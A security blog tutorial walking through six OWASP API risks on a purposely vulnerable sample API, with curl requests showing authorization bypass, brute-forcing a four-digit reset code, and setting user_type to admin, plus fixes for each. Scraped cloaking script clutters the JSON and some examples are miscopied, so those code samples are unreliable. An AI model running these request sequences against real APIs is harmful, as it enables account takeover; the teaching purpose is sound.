Logo
blank Skip to main content

The 6 Most Common Security Issues in API Development and How to Fix Them

QA
API

Application programming interfaces, or APIs, connect the software and services we use by enabling smooth data exchange. Often, they exchange highly sensitive information: personal data, user credentials, financial details, etc. That’s why APIs are popular targets for hacking attacks.

In this article, we overview the most widespread API vulnerabilities from the OWASP API Security project, show how exactly they can be exploited, and offer ways to protect your APIs from such security issues during development.

This article will be helpful for security testers and developers that want to improve the security of their APIs.

What are the most widespread API vulnerabilities?

When working on application security, protecting APIs is one of the key tasks, since APIs are often gateways for attackers. Gartner predicts [subscription required] that by 2022, API abuses will become the most frequent vector of hacker attacks and will lead to many data breaches.

Prioritize your efforts at securing your APIs by focusing on the top 10 security risks for APIs according to the API Security Top 10 (2019) list provided by the OWASP API Security Project.

OWASP top 10 API security risks

Understanding how attackers can exploit weaknesses in your code is one of the key steps in securing against risks during API development. In this article, we’ll show you examples of how exactly attackers can exploit the first six vulnerabilities from the list. We won’t focus on the last four API security challenges, because they’re related to improper application of security mechanisms.

To show you how a malicious actor can exploit these application vulnerabilities, we’ve created an unprotected API. We’ll show which parts of its code open the door to hackers and discuss how you can fix them. Let’s start with deploying an unprotected API.

Related services

Security Testing

Creating an example API

For this article, we’ll create an API for a simple task management system. The system has users with different access levels and allows them to carry out simple tasks. Also, this system allows for user management activities: self-service registration, creation, editing, and deletion of user accounts.

The API will have the following endpoints:

Categories of API endpoints

You can use any Linux distribution as the environment for this API. To deploy the API, follow these steps:

  1. Install Docker
  2. Install Docker Compose
  3. Configure the email address in local.cfg (you’ll need this address to send password reset emails)
  4. Go to the API folder and execute the docker-compose up –build command

You can also download this sample API from our GitHub repository. The credentials for the API administrator account are:

  • username: admin
  • password: admin

To read the API documentation, upload the ./swagger/swagger.yaml file from the API to Swagger Editor. When the API is deployed, we can start exploiting vulnerabilities and fixing them.

Read also:
Web Applications: Common Vulnerabilities and Ways to Eliminate Them

Broken object level authorization

Some APIs expose object identifiers, which are essential for access control mechanisms. These mechanisms validate that a user can access only those resources for which they have access rights. To exploit APIs with broken object level authorization, attackers change the authentication data of the requested resource in the API call and obtain access to protected data.

In our sample API, only users themselves and administrators can review users’ account details. Also, we added a security flaw during API development and made sure that the GET /user endpoint contains an object level authorization vulnerability. To detect it, we need to:

  • Register two users
  • Log in to the system as user1 via POST /login endpoint
  • Acquire an authentication token

We log in to the system with this request:

ShellScript
curl --location --request POST 'http://insecure_api:8080/api/login' 
--header 'accept: */*' 
--header 'Content-Type: application/json' 
--data-raw '{"username":"user1","password":"password"}'

The API responds to our request with the following data:

JSON
{
    "id": 1,
    "username": "user1",
    "email": "<span id="cloak42aa22945d361419ac3655dd8fbddfef"><a href="mailto:user1@mail.com">[email protected]</a></span><script type="text/javascript">
        document.getElementById('cloak42aa22945d361419ac3655dd8fbddfef').innerHTML = '';
        var prefix = 'ma' + 'il' + 'to';
        var path = 'hr' + 'ef' + '=';
        var addy42aa22945d361419ac3655dd8fbddfef = 'user1' + '@';
        addy42aa22945d361419ac3655dd8fbddfef = addy42aa22945d361419ac3655dd8fbddfef + 'mail' + '.' + 'com';
        var addy_text42aa22945d361419ac3655dd8fbddfef = 'user1' + '@' + 'mail' + '.' + 'com';document.getElementById('cloak42aa22945d361419ac3655dd8fbddfef').innerHTML += '<a ' + path + '\'' + prefix + ':' + addy42aa22945d361419ac3655dd8fbddfef + '\'>'+addy_text42aa22945d361419ac3655dd8fbddfef+'<\/a>';
    </script>",
    "tasks": 1,
    "first_name": "User",
    "last_name": "API",
    "photo": null,
    "user_type": "user",
    "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM3MzU4MTAsImlhdCI6MTYxMzY0OTQxMCwic3ViIjoyfQ.DkzhuPdD1VGai5JszJVFRDfgS9wVRT7xGVvcw61xVH0"
}

Here’s our authentication token:

JSON
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM3MzU4MTAsImlhdCI6MTYxMzY0OTQxMCwic3ViIjoyfQ.DkzhuPdD1VGai5JszJVFRDfgS9wVRT7xGVvcw61xVH0

If we can acquire the token, we can use it to request user2 data via GET /user endpoint:

ShellScript
curl --location --request GET 'http://insecure_api:8080/api/user/2' 
--header 'accept: */*' 
--header 'Content-Type: application/json' 
--header 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM3MzU4MTAsImlhdCI6MTYxMzY0OTQxMCwic3ViIjoyfQ.DkzhuPdD1VGai5JszJVFRDfgS9wVRT7xGVvcw61xVH0' 
--data-raw ''

Our vulnerable API responds with user2 data:

JSON
{
    "id": 2,
    "username": "user2",
    "email": "<span id="cloak25cc988ee5cbc12f2040f48a37759cb1"><a href="mailto:user2@mail.com">[email protected]</a></span><script type="text/javascript">
        document.getElementById('cloak25cc988ee5cbc12f2040f48a37759cb1').innerHTML = '';
        var prefix = 'ma' + 'il' + 'to';
        var path = 'hr' + 'ef' + '=';
        var addy25cc988ee5cbc12f2040f48a37759cb1 = 'user2' + '@';
        addy25cc988ee5cbc12f2040f48a37759cb1 = addy25cc988ee5cbc12f2040f48a37759cb1 + 'mail' + '.' + 'com';
        var addy_text25cc988ee5cbc12f2040f48a37759cb1 = 'user2' + '@' + 'mail' + '.' + 'com';document.getElementById('cloak25cc988ee5cbc12f2040f48a37759cb1').innerHTML += '<a ' + path + '\'' + prefix + ':' + addy25cc988ee5cbc12f2040f48a37759cb1 + '\'>'+addy_text25cc988ee5cbc12f2040f48a37759cb1+'<\/a>';
    </script>",
    "tasks": 0,
    "first_name": null,
    "last_name": null,
    "photo": null,
    "user_type": "user"
}

If our API were protected against the object level authorization exploit, it would respond to the GET /user endpoint request with the following message:

JSON
{"message": "Unauthorized", "code": 403}
How can you fix it? 

 

To avoid broken object level authorization, make sure your authorization mechanisms check user hierarchy and access rights each time before providing users with access. The API needs to check user rights even after users log in to an application. Also, you can randomize user profile characteristics such as user IDs to make them harder to guess.

Broken user authentication

Issues with user authentication can allow attackers to impersonate users, access their personal data, and abuse access privileges. Usually, such vulnerabilities are hidden in password reset mechanisms. Let’s see how we can exploit broken user authentication in our API.

We start by executing this password reset request:

ShellScript
curl --location --request POST 'http://insecure_api:8080/api/reset_password' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--data-raw '{
  "email": "<span id="cloak63dcd836b306ef48b1d943dcb4f5a2ec"><a href="mailto:[email protected]">[email protected]</a></span><script type="text/javascript">
        document.getElementById('cloak63dcd836b306ef48b1d943dcb4f5a2ec').innerHTML = '';
        var prefix = 'ma' + 'il' + 'to';
        var path = 'hr' + 'ef' + '=';
        var addy63dcd836b306ef48b1d943dcb4f5a2ec = 'user' + '@';
        addy63dcd836b306ef48b1d943dcb4f5a2ec = addy63dcd836b306ef48b1d943dcb4f5a2ec + 'mail' + '.' + 'com';
        var addy_text63dcd836b306ef48b1d943dcb4f5a2ec = 'user' + '@' + 'mail' + '.' + 'com';document.getElementById('cloak63dcd836b306ef48b1d943dcb4f5a2ec').innerHTML += '<a ' + path + '\'' + prefix + ':' + addy63dcd836b306ef48b1d943dcb4f5a2ec + '\'>'+addy_text63dcd836b306ef48b1d943dcb4f5a2ec+'<\/a>';
    </script>"
}'

When the request passes successfully, we’ll receive an email with a four-digit reset code to [email protected]. After that, we can make the following request to change the password:

ShellScript
curl --location --request POST 'http://insecure_api:8080/api/reset_password/<CODE>' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--data-raw '{
  "email": "<span id="cloak0b30973689c9591ea20c7c069f9c13f1"><a href="mailto:[email protected]">[email protected]</a></span><script type="text/javascript">
        document.getElementById('cloak0b30973689c9591ea20c7c069f9c13f1').innerHTML = '';
        var prefix = 'ma' + 'il' + 'to';
        var path = 'hr' + 'ef' + '=';
        var addy0b30973689c9591ea20c7c069f9c13f1 = 'user' + '@';
        addy0b30973689c9591ea20c7c069f9c13f1 = addy0b30973689c9591ea20c7c069f9c13f1 + 'mail' + '.' + 'com';
        var addy_text0b30973689c9591ea20c7c069f9c13f1 = 'user' + '@' + 'mail' + '.' + 'com';document.getElementById('cloak0b30973689c9591ea20c7c069f9c13f1').innerHTML += '<a ' + path + '\'' + prefix + ':' + addy0b30973689c9591ea20c7c069f9c13f1 + '\'>'+addy_text0b30973689c9591ea20c7c069f9c13f1+'<\/a>';
    </script>"
}'

The API doesn’t limit the number of attempts to input the reset code, which is why it’s especially easy to get a new password for the user account registered to [email protected]. To guess the reset code, we just need to write a script that will try to use all codes from 0000 to 9999:

ShellScript
curl --location --request POST 'http://insecure_api:8080/api/reset_password/0000' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--data-raw '{
  "email": "<span id="cloake3f09623f961cd8c38893bb3dc939e8a"><a href="mailto:[email protected]">[email protected]</a></span><script type="text/javascript">
        document.getElementById('cloake3f09623f961cd8c38893bb3dc939e8a').innerHTML = '';
        var prefix = 'ma' + 'il' + 'to';
        var path = 'hr' + 'ef' + '=';
        var addye3f09623f961cd8c38893bb3dc939e8a = 'user' + '@';
        addye3f09623f961cd8c38893bb3dc939e8a = addye3f09623f961cd8c38893bb3dc939e8a + 'mail' + '.' + 'com';
        var addy_texte3f09623f961cd8c38893bb3dc939e8a = 'user' + '@' + 'mail' + '.' + 'com';document.getElementById('cloake3f09623f961cd8c38893bb3dc939e8a').innerHTML += '<a ' + path + '\'' + prefix + ':' + addye3f09623f961cd8c38893bb3dc939e8a + '\'>'+addy_texte3f09623f961cd8c38893bb3dc939e8a+'<\/a>';
    </script>"
}'
curl --location --request POST 'http://insecure_api:8080/api/reset_password/0001' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--data-raw '{
  "email": "<span id="cloakac293225f4c1ac3e2899ceffe0fce55c"><a href="mailto:[email protected]">[email protected]</a></span><script type="text/javascript">
        document.getElementById('cloakac293225f4c1ac3e2899ceffe0fce55c').innerHTML = '';
        var prefix = 'ma' + 'il' + 'to';
        var path = 'hr' + 'ef' + '=';
        var addyac293225f4c1ac3e2899ceffe0fce55c = 'user' + '@';
        addyac293225f4c1ac3e2899ceffe0fce55c = addyac293225f4c1ac3e2899ceffe0fce55c + 'mail' + '.' + 'com';
        var addy_textac293225f4c1ac3e2899ceffe0fce55c = 'user' + '@' + 'mail' + '.' + 'com';document.getElementById('cloakac293225f4c1ac3e2899ceffe0fce55c').innerHTML += '<a ' + path + '\'' + prefix + ':' + addyac293225f4c1ac3e2899ceffe0fce55c + '\'>'+addy_textac293225f4c1ac3e2899ceffe0fce55c+'<\/a>';
    </script>"
}'
....
....
curl --location --request POST 'http://insecure_api:8080/api/reset_password/9999' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--data-raw '{
  "email": "<span id="cloakf476e7a6fb61804b0f30d6df1c7160a3"><a href="mailto:[email protected]">[email protected]</a></span><script type="text/javascript">
        document.getElementById('cloakf476e7a6fb61804b0f30d6df1c7160a3').innerHTML = '';
        var prefix = 'ma' + 'il' + 'to';
        var path = 'hr' + 'ef' + '=';
        var addyf476e7a6fb61804b0f30d6df1c7160a3 = 'user' + '@';
        addyf476e7a6fb61804b0f30d6df1c7160a3 = addyf476e7a6fb61804b0f30d6df1c7160a3 + 'mail' + '.' + 'com';
        var addy_textf476e7a6fb61804b0f30d6df1c7160a3 = 'user' + '@' + 'mail' + '.' + 'com';document.getElementById('cloakf476e7a6fb61804b0f30d6df1c7160a3').innerHTML += '<a ' + path + '\'' + prefix + ':' + addyf476e7a6fb61804b0f30d6df1c7160a3 + '\'>'+addy_textf476e7a6fb61804b0f30d6df1c7160a3+'<\/a>';
    </script>"
}', was originally published on https://www.apriorit.com

When the script enters the correct reset code, we’ll get a response with the new password:

JSON
{"password": "ICtim2aev9Uf2QzA"}

By exploiting this object level authorization vulnerability, we can obtain the login of the user that has this email, log in to their account, and change the email.

In our sample API, there’s a security threat that allows us to reset a user’s password several times using the same reset code. We can pass this request with code 1111 and change the user’s password any time we want:

ShellScript
curl --location --request POST 'http://insecure_api:8080/api/reset_password/1111' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--data-raw '{
  "email": "<span id="cloak389ecfafa6ccb29a117b99304981cae7"><a href="mailto:[email protected]">[email protected]</a></span><script type="text/javascript">
        document.getElementById('cloak4bd0917133057e24c043e82805df5dec').innerHTML = '';
        var prefix = 'ma' + 'il' + 'to';
        var path = 'hr' + 'ef' + '=';
        var addy4bd0917133057e24c043e82805df5dec = 'user' + '@';
        addy4bd0917133057e24c043e82805df5dec = addy4bd0917133057e24c043e82805df5dec + 'mail' + '.' + 'com';
        var addy_text4bd0917133057e24c043e82805df5dec = 'user' + '@' + 'mail' + '.' + 'com';document.getElementById('cloak4bd0917133057e24c043e82805df5dec').innerHTML += '<a ' + path + '\'' + prefix + ':' + addy4bd0917133057e24c043e82805df5dec + '\'>'+addy_text4bd0917133057e24c043e82805df5dec+'<\/a>';
    </script>"
}'
How can you fix it? 

 

Wherever possible, it’s best to implement multi-factor authentication to confirm the identity of the person trying to log in to an account. Also, treat credential recovery as an additional login endpoint: remember that credential recovery systems can also be brute forced. That’s why you need to implement a limitation on login attempts, CAPTCHA mechanisms, and other security measures.

Read also:
How to Implement Kerberos Authentication for Windows with the LSA Service API

Excessive data exposure

This API security vulnerability may appear when developers implement generic mechanisms for communication between an API and a client. In such a case, an API may send a client more data than it needs, and the client has to filter the data and hide irrelevant information from the user. Attackers can sniff this traffic and extract sensitive information from it: authentication tokens, account numbers, email addresses, etc.

To demonstrate this vulnerability in our API, we’ll request a task’s ID and full information about the user from the GET /task endpoint. This endpoint is supposed to return only the task ID, but let’s see what happens.

Here’s our request:

ShellScript
curl --location --request GET 'http://insecure_api:8080/api/task/1' 
--header 'accept: */*' 
--header 'Content-Type: application/json' 
--header 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM3MzU4MTAsImlhdCI6MTYxMzY0OTQxMCwic3ViIjoyfQ.DkzhuPdD1VGai5JszJVFRDfgS9wVRT7xGVvcw61xVH0' 
--data-raw ''

And here’s how the GET /task endpoint responds:

JSON
{"id": 1, "title": "Task for user1", "description": "Important task to do", "status": "Open", "assignee": 2, "username":
"user1", "email": "<span id="cloak7ab56b670ae4795d6e97af64b3ec8930"><a href="mailto:user1@mail.com">[email protected]</a></span><script type="text/javascript">
        document.getElementById('cloak7ab56b670ae4795d6e97af64b3ec8930').innerHTML = '';
        var prefix = 'ma' + 'il' + 'to';
        var path = 'hr' + 'ef' + '=';
        var addy7ab56b670ae4795d6e97af64b3ec8930 = 'user1' + '@';
        addy7ab56b670ae4795d6e97af64b3ec8930 = addy7ab56b670ae4795d6e97af64b3ec8930 + 'mail' + '.' + 'com';
        var addy_text7ab56b670ae4795d6e97af64b3ec8930 = 'user1' + '@' + 'mail' + '.' + 'com';document.getElementById('cloak7ab56b670ae4795d6e97af64b3ec8930').innerHTML += '<a ' + path + '\'' + prefix + ':' + addy7ab56b670ae4795d6e97af64b3ec8930 + '\'>'+addy_text7ab56b670ae4795d6e97af64b3ec8930+'<\/a>';
    </script>", "tasks": 1, "first_name": "User", "last_name": "API", "photo": null, "user_type":
"user"}
How can you fix it?

 

Relying on an application to filter data from an API is a bad cybersecurity practice. Instead, you should analyze which sensitive data your API has access to and review all possible responses from your API. Configure responses in such a way that they contain only the information the user requests and nothing else.

Read also:
How to Test REST API Services on the .NET Platform

Lack of resources & rate limiting

APIs can use CPU, RAM, and disk resources to process requests. Developers usually choose the resources allocated for an API according to the application’s business logic. If an attacker manages to bypass business logic limitations to create a situation where the API has to process more requests than it was designed to, the application will run out of resources and start malfunctioning or become unavailable.

In our API, GET ​/task​s contains this vulnerability. This endpoint supports paging — storing data from RAM on the hard drive. An attacker can abuse this capability to overload the API.

Let’s suppose that the application displays 10 tasks on one page. A request for displaying tasks will look like this:

ShellScript
curl --location --request GET 'http://insecure_api:8080/api/tasks?page=1&size=10' 
--header 'accept: */*' 
--header 'Content-Type: application/json' 
--header 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM3MzU4MTAsImlhdCI6MTYxMzY0OTQxMCwic3ViIjoyfQ.DkzhuPdD1VGai5JszJVFRDfgS9wVRT7xGVvcw61xVH0' 
--data-raw ''

An attacker can send their own request with an enlarged size parameter to overload the API:

ShellScript
curl --location --request GET 'http://insecure_api:8080/api/tasks?page=1&size=10' 
--header 'accept: */*' 
--header 'Content-Type: application/json' 
--header 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM3MzU4MTAsImlhdCI6MTYxMzY0OTQxMCwic3ViIjoyfQ.DkzhuPdD1VGai5JszJVFRDfgS9wVRT7xGVvcw61xVH0' 
--data-raw ''

If there are too many tasks in the database assigned to the user that requests tasks, the API will be overloaded, leading to the denial of service.

How can you fix it?

 

You can prevent a lack of resources and denial of service by limiting the resources that can be allocated for an API and the number of calls from the client to the API in a defined timeframe. This will create rate limiting, and the API will notify the application when it reaches the resource limit.

Another useful practice is to define the maximum size of data in request parameters that an API can process without slowing down.

Read also:
Internal Security Audit Checklist for Increasing Product Quality

Broken function level authorization

Misconfigured authorization mechanisms allow attackers to gain unauthorized access to sensitive resources and steal, edit, or create new user accounts. To detect this vulnerability, attackers send requests to access objects they shouldn’t be able to access.

We added the GET /admin/users endpoint to our API to demonstrate this vulnerability. This endpoint returns data on all users registered in the application without checking who requested the data (a user or an admin). Here’s an example of such a request:

ShellScript
curl --location --request GET 'http://insecure_api:8080/api/tasks?page=1&size=10' 
--header 'accept: */*' 
--header 'Content-Type: application/json' 
--header 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM3MzU4MTAsImlhdCI6MTYxMzY0OTQxMCwic3ViIjoyfQ.DkzhuPdD1VGai5JszJVFRDfgS9wVRT7xGVvcw61xVH0' 
--data-raw ''

The GET /admin/users endpoint responds with the following code:

JSON
{
    "users": [
        {
            "id": 1,
            "username": "user1",
            "password": "password",
            "email": "<span id="cloak3bffc0c2bf2ee11ceb7b9d9e5c9cde06"><a href="mailto:user1@mail.com">[email protected]</a></span><script type="text/javascript">
        document.getElementById('cloak3bffc0c2bf2ee11ceb7b9d9e5c9cde06').innerHTML = '';
        var prefix = 'ma' + 'il' + 'to';
        var path = 'hr' + 'ef' + '=';
        var addy3bffc0c2bf2ee11ceb7b9d9e5c9cde06 = 'user1' + '@';
        addy3bffc0c2bf2ee11ceb7b9d9e5c9cde06 = addy3bffc0c2bf2ee11ceb7b9d9e5c9cde06 + 'mail' + '.' + 'com';
        var addy_text3bffc0c2bf2ee11ceb7b9d9e5c9cde06 = 'user1' + '@' + 'mail' + '.' + 'com';document.getElementById('cloak3bffc0c2bf2ee11ceb7b9d9e5c9cde06').innerHTML += '<a ' + path + '\'' + prefix + ':' + addy3bffc0c2bf2ee11ceb7b9d9e5c9cde06 + '\'>'+addy_text3bffc0c2bf2ee11ceb7b9d9e5c9cde06+'<\/a>';
    </script>",
            "tasks": 1,
            "position": null,
            "first_name": "User",
            "last_name": "API",
            "photo": null,
            "user_type": "user"
        },
        {
            "id": 2,
            "username": "user2",
            "password": "password",
            "email": "<span id="cloak4021d17ae72f6eaed9a8814b8511a491"><a href="mailto:user2@mail.com">[email protected]</a></span><script type="text/javascript">
        document.getElementById('cloak4021d17ae72f6eaed9a8814b8511a491').innerHTML = '';
        var prefix = 'ma' + 'il' + 'to';
        var path = 'hr' + 'ef' + '=';
        var addy4021d17ae72f6eaed9a8814b8511a491 = 'user2' + '@';
        addy4021d17ae72f6eaed9a8814b8511a491 = addy4021d17ae72f6eaed9a8814b8511a491 + 'mail' + '.' + 'com';
        var addy_text4021d17ae72f6eaed9a8814b8511a491 = 'user2' + '@' + 'mail' + '.' + 'com';document.getElementById('cloak4021d17ae72f6eaed9a8814b8511a491').innerHTML += '<a ' + path + '\'' + prefix + ':' + addy4021d17ae72f6eaed9a8814b8511a491 + '\'>'+addy_text4021d17ae72f6eaed9a8814b8511a491+'<\/a>';
    </script>",
            "tasks": 0,
            "position": null,
            "first_name": null,
            "last_name": null,
            "photo": null,
            "user_type": "user"
        }
    ]
}
How can you fix it?

 

Enforce an authorization mechanism that denies any access to the API and the application by default. It should provide users with access only if they provide relevant credentials, belong to a certain group or role, or pass multi-factor authentication. After that, users should be allowed to access only the data they requested; when they request new data, they have to be authorized once again.

Mass assignment

Some developers design their APIs to assign object properties automatically when binding input from the application into code and internal objects. Many frameworks provide mass assignment functions to help speed up development.

This approach is convenient for developers, but it also allows a user to change object properties that they shouldn’t access. Also, attackers can try to guess object properties or substitute them with new ones at their request. If an API is vulnerable to such requests, attackers can gain information about sensitive objects, read the documentation, or modify data objects.

In our API, the user object has this vulnerability. It has a user_type parameter with two possible values: user and administrator. When people register in our application by themselves, their accounts are assigned the user value by default. However, our API allows users to change this value via the PUT /user request. In this way, an attacker can gain administrator privileges.

To exploit this vulnerability, we’ll have to register a user with this request:

ShellScript
curl --location --request POST 'http://insecure_api:8080/api/sign_up' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--data-raw '{
  "email": "<span id="cloak66d574be8a1798e0a1b13a3e0185438b"><a href="mailto:[email protected]">[email protected]</a></span><script type="text/javascript">
        document.getElementById('cloak66d574be8a1798e0a1b13a3e0185438b').innerHTML = '';
        var prefix = 'ma' + 'il' + 'to';
        var path = 'hr' + 'ef' + '=';
        var addy66d574be8a1798e0a1b13a3e0185438b = 'user4' + '@';
        addy66d574be8a1798e0a1b13a3e0185438b = addy66d574be8a1798e0a1b13a3e0185438b + 'mail' + '.' + 'com';
        var addy_text66d574be8a1798e0a1b13a3e0185438b = 'user4' + '@' + 'mail' + '.' + 'com';document.getElementById('cloak66d574be8a1798e0a1b13a3e0185438b').innerHTML += '<a ' + path + '\'' + prefix + ':' + addy66d574be8a1798e0a1b13a3e0185438b + '\'>'+addy_text66d574be8a1798e0a1b13a3e0185438b+'<\/a>';
    </script>",
  "username": "user4",
  "password": "password"
}'

After that, we’ll get a response with user account details:

JSON
{"id": 4, "username": "user4", "email": "<span id="cloakf27d9181649fcf3ef797c74383091176"><a href="mailto:user4@mail.com">[email protected]</a></span><script type="text/javascript">
        document.getElementById('cloakf27d9181649fcf3ef797c74383091176').innerHTML = '';
        var prefix = 'ma' + 'il' + 'to';
        var path = 'hr' + 'ef' + '=';
        var addyf27d9181649fcf3ef797c74383091176 = 'user4' + '@';
        addyf27d9181649fcf3ef797c74383091176 = addyf27d9181649fcf3ef797c74383091176 + 'mail' + '.' + 'com';
        var addy_textf27d9181649fcf3ef797c74383091176 = 'user4' + '@' + 'mail' + '.' + 'com';document.getElementById('cloakf27d9181649fcf3ef797c74383091176').innerHTML += '<a ' + path + '\'' + prefix + ':' + addyf27d9181649fcf3ef797c74383091176 + '\'>'+addy_textf27d9181649fcf3ef797c74383091176+'<\/a>';
    </script>", "tasks": 0, "user_type": "user"}

Then, we need to change the user_type field to admin:

ShellScript
curl --location --request PUT 'http://insecure_api:8080/api/user/4' \
--header 'accept: */*' \
--header 'Content-Type: application/json' \
--header 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTM5OTE1MTQsImlhdCI6MTYxMzkwNTExNCwic3ViIjo1fQ.gDGTa35XhXlYCt3e9LkKi1QRMiKlqmGVzfnfIurWyiw' \
--data-raw '{
  "username": "user4",
  "first_name": "User",
  "last_name": "API",
  "email": "<span id="cloak913572fc3bfae14358a187cffac295f5"><a href="mailto:[email protected]">[email protected]</a></span><script type="text/javascript">
        document.getElementById('cloak913572fc3bfae14358a187cffac295f5').innerHTML = '';
        var prefix = 'ma' + 'il' + 'to';
        var path = 'hr' + 'ef' + '=';
        var addy913572fc3bfae14358a187cffac295f5 = 'user4' + '@';
        addy913572fc3bfae14358a187cffac295f5 = addy913572fc3bfae14358a187cffac295f5 + 'mail' + '.' + 'com';
        var addy_text913572fc3bfae14358a187cffac295f5 = 'user4' + '@' + 'mail' + '.' + 'com';document.getElementById('cloak913572fc3bfae14358a187cffac295f5').innerHTML += '<a ' + path + '\'' + prefix + ':' + addy913572fc3bfae14358a187cffac295f5 + '\'>'+addy_text913572fc3bfae14358a187cffac295f5+'<\/a>';
    </script>",
  "position": "User4_position",
  "user_type": "admin"
}'

The API will respond with updated user data:

JSON
{
    "id": 4,
    "username": "user4",
    "email": "<span id="cloak1e0b6c4618f68cf4dc64a8e0fd404074"><a href="mailto:user4@mail.com">[email protected]</a></span><script type="text/javascript">
        document.getElementById('cloak1e0b6c4618f68cf4dc64a8e0fd404074').innerHTML = '';
        var prefix = 'ma' + 'il' + 'to';
        var path = 'hr' + 'ef' + '=';
        var addy1e0b6c4618f68cf4dc64a8e0fd404074 = 'user4' + '@';
        addy1e0b6c4618f68cf4dc64a8e0fd404074 = addy1e0b6c4618f68cf4dc64a8e0fd404074 + 'mail' + '.' + 'com';
        var addy_text1e0b6c4618f68cf4dc64a8e0fd404074 = 'user4' + '@' + 'mail' + '.' + 'com';document.getElementById('cloak1e0b6c4618f68cf4dc64a8e0fd404074').innerHTML += '<a ' + path + '\'' + prefix + ':' + addy1e0b6c4618f68cf4dc64a8e0fd404074 + '\'>'+addy_text1e0b6c4618f68cf4dc64a8e0fd404074+'<\/a>';
    </script>",
    "tasks": 0,
    "first_name": "User",
    "last_name": "API",
    "photo": null,
    "user_type": "admin"
}

In this way, user4 will gain administrator access rights.

How can you fix it?

 

If you use a framework that automatically assigns code variables or object properties, define those parameters manually. To avoid unwanted changes in data that can be retrieved from the API, add the readOnly property for all such data.

Another way to detect and stop mass assignment attacks is to implement user and entity behavior analytics (UEBA) in your application. A UEBA system will figure out the normal behavior for an API and alert you of suspicious actions like changing objects that the API usually doesn’t change.

Read also:
A Comprehensive Guide to Hooking Windows APIs with Python

Conclusion

Mitigating security issues from the OWASP API Security project is critical for ensuring any application’s protection: whether you’re securing a simple web solution or trying to overcome security issues in IoT. To prioritize testing procedures and save some time, you can focus on finding and fixing the most widespread vulnerabilities that we discussed in this article.

At Apriorit, we develop our APIs with cybersecurity in mind and always test them before rollout. Сontact us in the form below so we can start improving your project!

Tell us about your project

Send us a request for proposal! We’ll get back to you with details and estimations.

By clicking Send you give consent to processing your data

Book an Exploratory Call

Do not have any specific task for us in mind but our skills seem interesting?

Get a quick Apriorit intro to better understand our team capabilities.

Book time slot

Contact us